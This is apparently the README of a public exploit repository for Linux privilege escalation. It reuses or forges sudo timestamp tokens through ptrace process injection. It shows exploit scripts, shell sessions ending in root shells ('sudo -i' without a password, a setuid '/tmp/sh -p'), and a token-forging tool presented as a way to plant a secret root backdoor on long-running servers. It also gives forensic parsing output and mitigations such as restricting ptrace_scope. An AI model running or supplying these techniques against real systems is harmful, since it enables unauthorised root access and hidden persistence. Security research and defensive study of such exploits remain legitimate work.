We all noticed that sometimes sudo doesn't ask us for a password because he remembers us. How does he remember us and how does he identifies us? Can we falsify our identity and become root? As far as I know this research is not yet documented, but let me know if it is. Indeed sudo creates a file for each linux user in /var/run/sudo/ts/[username]. These files contain both successful and failed authentications, then sudo uses these files to remember all the authenticated processes. -- @chaignc
This repository provides you:
- A way to gain root privilege by abusing sudo tokens (Don't be too happy there are requirements).
- A tool to forge sudo tokens for a given process (write_sudo_token in ./extra_tools/).
- A tool to parse sudo tokens for forensic (read_sudo_token_forensic and read_sudo_token in ./extra_tools).
- A technique to transform any root arbitrary file write into stable root code execution.
- A clue to make a exploit that does not require ptrace or that the targeted process is alive.
PS: read requirements!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
- Ptrace fully enabled (/proc/sys/kernel/yama/ptrace_scope == 0).
- Current user must have living process that has a valid sudo token with the same uid.
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
- Educational purpose only, do not use on a system that you do not own.
- It's not well tested, so don't consider it as stable.
exploit.sh injects all shell processes owned by the current user and use their sudo token to validate our own sudo token. It's barely 3 lines of shell, have a look.
This is far from a generic privesc without requirements but it works, for instance if you have a RCE and don't have the user password but the victim uses sudo then you can easily get root by stealing his token.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Start two terminals:
- one to type sudo and enter the right password (example: sudo ls).
- another to start the exploit as described above.
For those with less luck with exploit v1 try the v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
Printing to be improved but each process sudo attempt has one entry in /var/run/sudo/ts/[username]. Also these files are stored in tmpfs(ram), one could write a volatility plugin to parse this information to gather sudo attempt.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
If you have an abitrary write you can create a sudo token for your current process to gain root code execution. checkout './write_sudo_token $$ > /var/run/sudo/ts/[username]' in extra_tools.
A very good way to create a secret root backdoor on servers that rarely reboots. Not done yet but checkout './write_sudo_token $$' in ./extra_tools
I was looking for a way to steal dead process sudo token, but it doesn't look possible because they are associated by ((process start time and process session id) or (tty start time and tty session id)). Session id (process pid) can be impersonated but the process start time is not fakable.
- Update your sudo version
- Reduce ptrace power, example edit /etc/sysctl.conf with
kernel.yama.ptrace_scope = 1
Linux based inter process code injection without ptrace
Moving a process to another terminal
https://www.linusakesson.net/programming/tty/